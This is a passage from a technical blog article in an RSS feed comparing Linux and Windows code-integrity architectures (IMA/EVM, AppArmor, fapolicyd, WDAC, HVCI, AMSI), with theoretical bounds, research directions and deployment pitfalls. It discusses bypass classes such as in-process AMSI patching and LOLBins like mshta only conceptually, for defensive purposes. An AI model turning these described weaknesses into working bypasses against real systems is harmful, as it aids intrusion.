&lt;td&gt;ETW patch detection, signed providers, Constrained Language Mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust grant coarser than exploit unit&lt;/td&gt;
&lt;td&gt;RPM trust pre-fapolicyd integrity-mode addition&lt;/td&gt;
&lt;td&gt;WDAC Publisher rules + LOLBins&lt;/td&gt;
&lt;td&gt;Trust algebra cannot express &quot;Microsoft except mshta&quot; with one rule&lt;/td&gt;
&lt;td&gt;Hash-level denies, growing block list&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reference value reachable by attacker&lt;/td&gt;
&lt;td&gt;IMA without EVM&lt;/td&gt;
&lt;td&gt;(HVCI moved the kernel verifier out of reach)&lt;/td&gt;
&lt;td&gt;Reference value next to the file under attacker control&lt;/td&gt;
&lt;td&gt;EVM HMAC sealed to TPM PCR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verifier is killable&lt;/td&gt;
&lt;td&gt;fapolicyd daemon failure&lt;/td&gt;
&lt;td&gt;(HVCI verifier is hypervisor-isolated)&lt;/td&gt;
&lt;td&gt;Verifier liveness is part of the trust assumption&lt;/td&gt;
&lt;td&gt;TPM-sealed boot policy + kernel-mode fallback&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The first row is the most uncomfortable for both stacks. Linux does not have an AMSI-equivalent in production, so there is no in-kernel hook that sees the buffer an interpreter is about to evaluate; the boundary is not &quot;wrong&quot;, it simply does not exist. Windows has the hook and has paid for the consequences of putting it in the wrong place for ten years. Neither result is good.&lt;/p&gt;
&lt;p&gt;The lesson from both rows of pivots is consistent: when an architecture is forced to put the verifier somewhere reachable, treat its output as telemetry rather than control, and budget for the bypass.&lt;/p&gt;
&lt;p&gt;These are not implementation bugs. They are structural features of the architectures, and to understand why, we have to look at what computer science says is and is not possible.&lt;/p&gt;
&lt;h2&gt;8. What the theory says&lt;/h2&gt;
&lt;p&gt;Three impossibility results bound everything in this article. Two are decades old; the third is a property of how modern interpreted languages execute.&lt;/p&gt;
&lt;h3&gt;Rice&apos;s theorem&lt;/h3&gt;
&lt;p&gt;Rice&apos;s 1953 theorem says that any non-trivial semantic property of an arbitrary program is undecidable from the program text alone. Applied to malware: there is no algorithm that takes a binary as input and returns &quot;malicious&quot; or &quot;benign&quot; in finite time for every input.&lt;/p&gt;
&lt;p&gt;Every code-integrity stack on the market therefore reduces to the same shape: an &lt;em&gt;allowlist&lt;/em&gt; of producers (signers, hashes, dm-verity roots) the operator chooses to trust, plus a hook that refuses to honour anything outside the allowlist. Defender, ClamAV, the AMSI scanner -- all the things we call &quot;malware detectors&quot; -- are heuristic add-ons running on top of an allowlist substrate, and they are explicitly fallible. They have to be.&lt;/p&gt;
&lt;h3&gt;No software-only protection of an in-process secret&lt;/h3&gt;
&lt;p&gt;The second result is operational, not formal, but it is no less binding. If process P holds a secret S, and process P also evaluates code C the attacker chose, then no purely software-side technique inside P can keep C from reading or rewriting S.&lt;/p&gt;
&lt;p&gt;AMSI&apos;s design violates this: the scanner is a function call inside the script host, and the attacker is running code in the script host. HVCI&apos;s entire architecture exists to relocate the kernel-mode code-integrity verifier out of the host&apos;s address space, into a secure kernel the attacker cannot reach with normal kernel privileges. EVM&apos;s design likewise moves the integrity-defining key into a kernel keyring sealed to TPM PCRs so an offline attacker with disk access cannot reach it.&lt;/p&gt;
&lt;h3&gt;No verification of dynamically generated executable code&lt;/h3&gt;
&lt;p&gt;The third result is the gap on both operating systems. JIT-compiled code (V8, JVM, CLR), libffi closures, and anonymous &lt;code&gt;mmap&lt;/code&gt; followed by &lt;code&gt;mprotect(PROT_EXEC)&lt;/code&gt; all produce executable bytes that did not exist on disk and were never hashed.&lt;/p&gt;
&lt;p&gt;The IPE documentation [@docs-kernel-org-lsm-ipehtml] lists this as an explicit limitation: a property-based check on the file the JIT compiled does not authenticate the bytes the JIT emitted. WDAC&apos;s User-Mode Code Integrity has the same gap for managed runtimes that emit IL at runtime. There is no production answer on either side; there are only mitigations: disable JITs where possible, run them in restricted runtimes (Constrained Language Mode), block the trampolines.The JIT gap is one reason both stacks ship &quot;Constrained Language Mode&quot;-style restricted-runtime options. PowerShell&apos;s Constrained Language Mode blocks reflection and dynamic-type creation; the JVM&apos;s &lt;code&gt;--module-path&lt;/code&gt; and module-system encapsulation play a similar role for hosted Java code; the CLR&apos;s AppContainer and the .NET Core trim modes lean the same way. None of these &quot;verify&quot; the JIT output; they restrict what the runtime is willing to emit.&lt;/p&gt;
&lt;h3&gt;Cryptographic bounds&lt;/h3&gt;
&lt;p&gt;The cryptographic side, by contrast, is closed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Any preimage-resistant hash needs $\Omega(n)$ work on the data being hashed. You cannot verify a file you do not read.&lt;/li&gt;
&lt;li&gt;A Merkle tree with leaf size $k$ over a file of size $n$ reduces this to $O(\log(n/k))$ per partial read. The classic Merkle 1979 construction underlies dm-verity, fs-verity, and the Android APK Signature Scheme v4. &lt;strong&gt;fs-verity matches this lower bound.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Whole-file SHA-256 on modern x86 with SHA-NI runs at roughly $2 \text{ GB/s}$ per core; SHA-512 at $\sim 1.4 \text{ GB/s}$. A 100 MB binary verifies in roughly $50 \text{ ms}$ worst-case and $0 \text{ ms}$ cached. RSA-2048 and Ed25519 signature verification both finish in well under a millisecond on modern hardware (tens to a few hundred microseconds depending on CPU and library); verify cost is not the bottleneck.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So on the &lt;em&gt;crypto&lt;/em&gt; side the gap between upper and lower bounds is closed. On the &lt;em&gt;policy-expressiveness&lt;/em&gt; side there is no &quot;best&quot; policy because the right policy depends on threat model. There is no Pareto frontier; there are only trade-offs.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bound&lt;/th&gt;
&lt;th&gt;What it says&lt;/th&gt;
&lt;th&gt;Mechanism that matches it&lt;/th&gt;
&lt;th&gt;Remaining gap&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Rice&apos;s theorem&lt;/td&gt;
&lt;td&gt;&quot;Is this binary malicious?&quot; is undecidable&lt;/td&gt;
&lt;td&gt;Every CI stack is an allowlist + signer model&lt;/td&gt;
&lt;td&gt;Allowlist composition is itself a policy problem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-process secret&lt;/td&gt;
&lt;td&gt;No purely-software defence inside the attacker&apos;s address space&lt;/td&gt;
&lt;td&gt;HVCI moves verifier to VTL1; EVM key in keyring sealed to TPM&lt;/td&gt;
&lt;td&gt;AMSI design violates this; the gap is structural&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash verification&lt;/td&gt;
&lt;td&gt;$\Omega(n)$ per full read; $O(\log n)$ per partial read&lt;/td&gt;
&lt;td&gt;fs-verity per page; IMA cached on &lt;code&gt;i_iversion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cold-cache cost remains O(n) for non-fs-verity files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JIT and dynamic code&lt;/td&gt;
&lt;td&gt;No way to verify code that did not exist on disk&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Restricted-runtime modes (CLM, AppContainer) are the best partial answer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Asymmetric verify&lt;/td&gt;
&lt;td&gt;About 60-300 us per RSA-2048 or Ed25519 verify on modern x86&lt;/td&gt;
&lt;td&gt;Authenticode catalogues amortise; IMA caches in inode&lt;/td&gt;
&lt;td&gt;Cold cache is the only sensitive case&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Crypto is closed. Policy expressiveness and trust-boundary protection are theoretically unsolvable in general. Every stack is an allowlist plus a trusted-signer model, never a malware detector. The wall is theoretical, not engineering.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the theory says we cannot win, what is research targeting in 2026?&lt;/p&gt;
&lt;h2&gt;9. Open frontiers&lt;/h2&gt;
&lt;p&gt;Three problems define the 2026 research front. All are being worked on upstream. None will dissolve the theoretical bounds of Section 8.&lt;/p&gt;
&lt;h3&gt;Linux integrity at distribution scale: the Integrity Digest Cache&lt;/h3&gt;
&lt;p&gt;IMA appraisal has a scale problem. On a general-purpose Linux distribution where every file is RPM-signed, asking IMA to verify a per-file &lt;code&gt;imasig&lt;/code&gt; signature on every &lt;code&gt;open&lt;/code&gt; is expensive.&lt;/p&gt;
&lt;p&gt;Roberto Sassu (Huawei Cloud) proposed a fix as the &lt;code&gt;digest_cache&lt;/code&gt; LSM in version 3 of the patchset, posted in February 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom] and covered on LWN [@lwn-net-articles-961591]. The v3 cover letter is concrete: &quot;Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read.&quot; The design extracts pre-computed reference digests from vendor-signed digest lists (RPM headers, kernel TLV digest-list format, third-party formats via loadable parsers) and exposes a &lt;code&gt;digest_cache_lookup()&lt;/code&gt; primitive that integrity providers (IMA, IPE, BPF LSM) call instead of verifying per-file signatures.&lt;/p&gt;
&lt;p&gt;By v6 in November 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom-2] the work had been retitled &quot;Introduce the Integrity Digest Cache&quot; and pivoted from a standalone LSM into an integrity-subsystem helper, in response to maintainer feedback. The v6 cover letter quantifies the baseline the design attacks: IMA measurement &quot;introduces a noticeable overhead (up to 10x slower in a microbenchmark) on frequently used system calls, like the open().&quot; Discussion continues on the linux-integrity list [@lore-kernel-org-linux-integrity]; memory safety of the TLV parser was verified with the Frama-C [@frama-c-com] static analyser. As of late 2024 the work is not yet upstream.&lt;/p&gt;

Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read. -- Roberto Sassu, digest_cache LSM v3 cover letter, February 2024
&lt;p&gt;The important framing correction: the Integrity Digest Cache is &lt;strong&gt;not&lt;/strong&gt; a Linux AMSI equivalent. AMSI is an interpreter-side scanner of the deobfuscated, about-to-execute script buffer. The Integrity Digest Cache is a file-content digest delivery mechanism that closes the same gap IMA already closes, but more efficiently and at distribution scale. The Linux script-content gap remains genuinely open.&lt;/p&gt;
&lt;h3&gt;Out-of-process AMSI broker&lt;/h3&gt;
&lt;p&gt;The conjectural fix on the Windows side is an out-of-process AMSI broker: every &lt;code&gt;AmsiScanBuffer&lt;/code&gt; call IPCs to a service running outside the script host&apos;s address space. The in-process bypass family disappears because the attacker is no longer in the same process as the scanner. The cost is a context switch and serialisation overhead per script eval.&lt;/p&gt;
&lt;p&gt;Microsoft has layered partial mitigations -- signed AMSI provider DLLs from 1903, ETW patch detection in Defender, Constrained Language Mode under App Control -- but no full out-of-process redesign exists. Whether it ever will is a function of how willing Microsoft is to pay the latency cost on hot PowerShell loops.&lt;/p&gt;
&lt;h3&gt;Cross-OS attestation&lt;/h3&gt;
&lt;p&gt;A verifier validating evidence from a mixed Linux + Windows fleet today must speak two languages at once. IMA&apos;s measurement-log format (&lt;code&gt;ima_template_fmt&lt;/code&gt;) and &lt;a href=&quot;https://paragmali.com/blog/measured-boot-the-tcg-event-log-from-srtm-to-pcr-bound-bitlo/&quot; rel=&quot;noopener&quot;&gt;Windows Measured Boot&lt;/a&gt;&apos;s WBCL [@trustedcomputinggroup-org-log-format] both target TPM PCRs but encode events differently.&lt;/p&gt;
&lt;p&gt;Confidential-computing efforts (Intel TDX, AMD SEV-SNP) are pushing toward a common report/quote primitive at the platform layer, and the TCG Canonical Event Log Format aims at a portable per-entry representation. Workload-level integrity proofs remain stack-specific. The two operating systems do not yet speak a common attestation language.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Current best partial result&lt;/th&gt;
&lt;th&gt;Upstream status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;IMA appraisal scale on RPM-signed distros&lt;/td&gt;
&lt;td&gt;Integrity Digest Cache, 45-65% appraisal speedup&lt;/td&gt;
&lt;td&gt;Patchset v6 (Nov 2024); not upstream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMSI in-process trust boundary&lt;/td&gt;
&lt;td&gt;Signed provider DLLs, ETW patch detection, CLM&lt;/td&gt;
&lt;td&gt;Partial; structural fix would be OOP broker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux script-content scanning&lt;/td&gt;
&lt;td&gt;Nothing in production&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-OS attestation interop&lt;/td&gt;
&lt;td&gt;TCG CEL, TDX/SEV-SNP quotes&lt;/td&gt;
&lt;td&gt;Platform-layer; workload-level still split&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WDAC LOLBin treadmill&lt;/td&gt;
&lt;td&gt;Microsoft block list + LOLBAS + WDAC Wizard&lt;/td&gt;
&lt;td&gt;Operational; structural fix unknown&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Each of these will probably ship in the 2026-2028 window. None of them dissolves the theoretical bounds of Section 8. The job for a defender in 2026 is therefore &lt;strong&gt;operational&lt;/strong&gt;, not technological.&lt;/p&gt;
&lt;h2&gt;10. Practitioner decision guide&lt;/h2&gt;
&lt;p&gt;Eight common deployment scenarios. Eight concrete answers.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;If you need...&lt;/th&gt;
&lt;th&gt;On Linux, use...&lt;/th&gt;
&lt;th&gt;On Windows, use...&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;TPM-backed remote attestation&lt;/td&gt;
&lt;td&gt;IMA + EVM (TPM PCR 10)&lt;/td&gt;
&lt;td&gt;Measured Boot + TPM PCR 11 + HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block unsigned drivers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;module.sig_enforce=1&lt;/code&gt; plus kernel module signing&lt;/td&gt;
&lt;td&gt;HVCI (Memory Integrity)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cryptographic allowlist of installed software&lt;/td&gt;
&lt;td&gt;fapolicyd (RPM/DEB trust)&lt;/td&gt;
&lt;td&gt;App Control with Publisher rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-app sandbox&lt;/td&gt;
&lt;td&gt;AppArmor or SELinux&lt;/td&gt;
&lt;td&gt;AppContainer or App Control (no direct equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Catch in-memory PowerShell payloads&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;td&gt;AMSI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Consumer-grade reputation gating&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;td&gt;Smart App Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Immutable appliance image&lt;/td&gt;
&lt;td&gt;dm-verity + IPE&lt;/td&gt;
&lt;td&gt;App Control with hash rules + HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Large APK-style assets verified lazily&lt;/td&gt;
&lt;td&gt;fs-verity&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The why behind each row.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TPM-backed attestation.&lt;/strong&gt; On Linux, IMA&apos;s measurement mode extends file hashes into PCR 10 and ships the measurement log to a remote verifier (Keylime, Veraison). On Windows it means consuming the Measured Boot event log a Windows kernel emits while VBS+HVCI is enabled. Both stacks target the same root of trust (the TPM) but speak different event formats.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blocking unsigned drivers.&lt;/strong&gt; Linux uses a built-in kernel module signing flag. Windows needs HVCI, because the kernel-mode CI check runs in VTL1 and any policy weakening attempted from VTL0 with SYSTEM cannot reach it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application allowlisting on general-purpose distributions.&lt;/strong&gt; This is fapolicyd&apos;s wheelhouse: it inherits trust from the RPM/DEB database, which is the only place a general-purpose distro has a clean &quot;trusted&quot; list. On Windows, App Control with publisher rules plus a managed-installer policy is the equivalent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Per-app sandboxing.&lt;/strong&gt; Clean Linux story (AppArmor or SELinux per binary). On Windows it is the gap App Control was never quite designed to fill; &lt;a href=&quot;https://paragmali.com/blog/appcontainer-and-lowbox-tokens-windowss-capability-sandbox/&quot; rel=&quot;noopener&quot;&gt;AppContainer&lt;/a&gt; or Microsoft Defender Attack Surface Reduction rules are the substitutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In-memory PowerShell payloads.&lt;/strong&gt; AMSI&apos;s use case. Linux has nothing equivalent in production.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Consumer reputation gating.&lt;/strong&gt; Smart App Control&apos;s use case. Linux distros have nothing equivalent because the distribution-package model already plays that role.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Immutable appliance images.&lt;/strong&gt; Dm-verity plus IPE on Linux. App Control hash rules plus HVCI on Windows.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Large lazy-loaded assets.&lt;/strong&gt; Fs-verity territory; Windows has no public equivalent.&lt;/p&gt;
&lt;h3&gt;Common implementation pitfalls&lt;/h3&gt;
&lt;p&gt;Distilled from the same shape: every stack has a default that surprises operators.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IMA without EVM and without a TPM-sealed key is decorative.&lt;/strong&gt; Hashing files into an xattr the attacker can rewrite buys you nothing against offline access. EVM is mandatory; the EVM key must be sealed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AppArmor profiles authored in &lt;em&gt;complain&lt;/em&gt; mode never get promoted to &lt;em&gt;enforce&lt;/em&gt;.&lt;/strong&gt; Schedule a config-management pass that runs &lt;code&gt;aa-enforce&lt;/code&gt; on the profiles you actually want to confine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SELinux &lt;code&gt;setenforce 0&lt;/code&gt; for debugging that becomes permanent.&lt;/strong&gt; The &lt;code&gt;/.autorelabel&lt;/code&gt; flag is required after restoring contexts; track that you flipped it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fapolicyd permissive-mode lapses.&lt;/strong&gt; Set up alerting on &lt;code&gt;permissive=1&lt;/code&gt; in the runtime configuration; treat the daemon&apos;s exit status as a security event.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WDAC&apos;s &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; policy-rule option is on by default.&lt;/strong&gt; Policies silently do not enforce until you remove it. Add a deployment check that asserts audit mode is &lt;em&gt;off&lt;/em&gt; before declaring rollout complete.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HVCI without a driver-compatibility check.&lt;/strong&gt; Microsoft&apos;s &lt;code&gt;DG_Readiness_Tool&lt;/code&gt; and the HVCI compatibility report belong in every pilot. Vendors that allocate RWX kernel pages will fail HVCI loading and leave the host unbootable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treating AMSI as a control.&lt;/strong&gt; It is telemetry. Budget for the bypass on day one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart App Control disable is one-way.&lt;/strong&gt; A single mis-click ends the consumer reputation gate until the device is reset. Make sure the user understands this before they tap the toggle.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; On Linux: enable IMA in &lt;code&gt;measure&lt;/code&gt; mode before &lt;code&gt;appraise&lt;/code&gt;; deploy AppArmor / SELinux profiles in &lt;em&gt;complain&lt;/em&gt; / &lt;em&gt;permissive&lt;/em&gt; before &lt;em&gt;enforce&lt;/em&gt;; run fapolicyd with &lt;code&gt;permissive=1&lt;/code&gt; for the first deploy. On Windows: leave WDAC&apos;s &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; set during the first rollout and use the event log to identify the policy gaps before flipping to enforced. Audit mode is the only safe way to discover that the policy is wrong before it locks you out of production.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A bare IMA appraisal policy without an HMAC-keyed EVM (and without the key sealed to a TPM 2.0 PCR set) does not stop an offline attacker. If you do not have TPM-sealed key custody and signed-xattr xattrs, IMA appraisal is mostly a check-box. fapolicyd with &lt;code&gt;integrity=ima&lt;/code&gt; may be a saner starting point on machines without TPM.&lt;/p&gt;
&lt;/blockquote&gt;

Usually no, unless your distribution signs every system file (most do not for `imasig` in production) and you have a TPM-sealed EVM key. For general-purpose servers, fapolicyd with RPM-database trust is usually the right answer; it inherits trust from packages you already trust and does not require kernel-side signature infrastructure. Reserve IMA appraise for appliance / fixed-function builds, embedded distros, or fleets with a signed-package pipeline.

Path-based reasoning maps to how administrators think about confinement: &quot;this binary may read /etc/nginx, may write /var/log/nginx, may bind a network socket.&quot; SELinux&apos;s type-enforcement model is more expressive (it lets a single rule cover an entire class of objects across paths and bind mounts), but it requires the administrator to think in compiled-policy terms. Both are correct; pick the one whose mental model matches your team. The right answer on Ubuntu and SUSE is almost always AppArmor; the right answer on RHEL and Android is almost always SELinux.

No. Microsoft&apos;s block list [@learn-microsoft-com-bypass-appcontrol] grows whenever a new signed binary turns out to host an attacker-friendly evaluator. Treat WDAC as defence-in-depth, layered with HVCI and AMSI-as-telemetry, not as a single-point allowlist. The WDAC Wizard and AaronLocker projects automate keeping the deny set current; even with them, expect the deny set to evolve every quarter.

Yes. Enable it, but configure it as a telemetry source feeding Defender for Endpoint and any EDR pipeline you operate. The bypass family of Section 7 is real, but the un-bypassed case still catches the long tail of script-based attacks that do not bother defeating AMSI, and the bypass attempt itself is highly detectable (in-memory patch ETW events). Treat AMSI alerts as detective controls, not preventive controls.

On CPUs with Intel MBEC (Kaby Lake or newer) or AMD GMET (Zen 2 or newer) [@learn-microsoft-com-oem-vbs], the steady-state overhead is generally under 5 percent. On older CPUs that rely on the Restricted User Mode emulation path, kernel-bound workloads can see 10 to 20 percent regressions. Run your specific kernel-bound benchmarks on the actual hardware before enabling on a fleet with a mixed CPU generation; &quot;free&quot; is a Kaby Lake-and-newer claim.

Usually no. SAC auto-disables on enterprise-managed devices (Intune-enrolled, Azure AD-joined, or under Group Policy management) at the end of the 48-hour evaluation window unless the user explicitly opts in. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. If SAC has already auto-disabled and you actually want it on, the only path to re-enable is a clean install of Windows. A Settings &amp;gt; Reset This PC does not bring it back.
&lt;p&gt;The two architectures answer the same question with different trade-offs. A practitioner in 2026 needs both maps, because the bypass that breaks the Linux side rarely looks like the bypass that breaks the Windows side, and the mitigation that fixes one is rarely the mitigation that fixes the other.&lt;/p&gt;
&lt;p&gt;What stays constant is the lesson the two lineages converged on over fifteen years: the trust boundary is the architecture. Move the verifier out of reach. Allowlist the producers. Treat the things that cannot be moved as telemetry, not as control. None of that closes Rice&apos;s wall, but all of it pushes the actual exploitable surface back another mile, on both operating systems.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;linux-ima-apparmor-vs-wdac-amsi-code-integrity-lineages&quot; keyTerms={[
  { term: &quot;IMA&quot;, definition: &quot;Linux Integrity Measurement Architecture. Hashes files at LSM hook points; can measure (record into TPM PCR 10), appraise (block on mismatch), or audit.&quot; },
  { term: &quot;EVM&quot;, definition: &quot;Extended Verification Module. HMACs (or signs) the security xattrs IMA depends on, so an offline attacker who rewrites security.ima cannot also forge security.evm.&quot; },
  { term: &quot;AppArmor&quot;, definition: &quot;Path-based Linux MAC, merged to mainline in 2.6.36 (Oct 2010). Default on Ubuntu and SUSE. Profiles are loaded from user space and compiled to in-kernel DFAs.&quot; },
  { term: &quot;SELinux&quot;, definition: &quot;Label-based Linux MAC merged to mainline in 2.6.0 (Dec 2003). Default on RHEL, Fedora, Oracle Linux, Android. Type-enforcement on subject x object x class.&quot; },
  { term: &quot;fapolicyd&quot;, definition: &quot;Red Hat userspace allowlister sitting on the fanotify permission channel. Trust inherited from the RPM database; rules in /etc/fapolicyd/rules.d/.&quot; },
  { term: &quot;fs-verity&quot;, definition: &quot;Per-file Merkle-tree authenticity, Linux 5.4 (Nov 2019). O(log n) per-page verification; constant-time digest retrieval; supported on ext4, f2fs, btrfs.&quot; },
  { term: &quot;IPE&quot;, definition: &quot;Integrity Policy Enforcement, Linux 6.12 (Nov 2024). Property-based decisions: dm-verity root hash, fs-verity digest, initramfs origin. O(1) per access.&quot; },
  { term: &quot;WDAC / App Control&quot;, definition: &quot;Windows code-integrity policy mechanism, originally Device Guard (Windows 10 1507). Signed XML compiled to .p7b, evaluated at PE load. Renamed App Control for Business in 2024.&quot; },
  { term: &quot;HVCI / Memory Integrity&quot;, definition: &quot;Hypervisor-Protected Code Integrity. Kernel-mode CI check moved into VTL1 of Hyper-V, isolated from the VTL0 normal kernel. Same mechanism marketed under three names.&quot; },
  { term: &quot;AMSI&quot;, definition: &quot;Antimalware Scan Interface. In-process script-broker COM API (AmsiScanBuffer) called by PowerShell, WSH, VBA, MSHTA, UAC installer, .NET. Provider is Defender by default.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Consumer-facing pre-baked WDAC policy shipped with Windows 11 22H2. 48-hour evaluation window, one-way disable, cloud reputation via the Intelligent Security Graph.&quot; },
  { term: &quot;LSM&quot;, definition: &quot;Linux Security Modules. Kernel framework merged Dec 2003 that hosts security modules at well-defined hook points. Hosts SELinux, AppArmor, IMA, EVM, IPE, BPF LSM, Landlock.&quot; },
  { term: &quot;MAC&quot;, definition: &quot;Mandatory Access Control. Kernel-enforced policy layer above DAC that no userspace privilege can override; the operator, not the file owner, sets policy.&quot; },
  { term: &quot;TPM PCR 10&quot;, definition: &quot;The TPM Platform Configuration Register IMA extends file-content hashes into. Monotonic, extendable as PCR_new = SHA256(PCR_old || hash); used as the anchor for remote attestation.&quot; },
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s PE signing format. Anchors WDAC&apos;s Publisher, PcaCertificate, and LeafCertificate rule kinds; signed catalogues (.cat) provide pre-computed hashes for catalogued files.&quot; },
  { term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary. A trusted binary, often vendor-signed, repurposed by attackers to bypass an allowlist (e.g. mshta.exe evaluating an HTA blob).&quot; },
  { term: &quot;Constrained Language Mode&quot;, definition: &quot;Reduced PowerShell language mode App Control forces with UMCI on. Blocks reflection, dynamic-type creation, and arbitrary .NET API calls; restricts evaluation surface.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>security</category><category>linux</category><category>windows</category><category>code-integrity</category><category>mandatory-access-control</category><category>ima</category><category>wdac</category><category>amsi</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>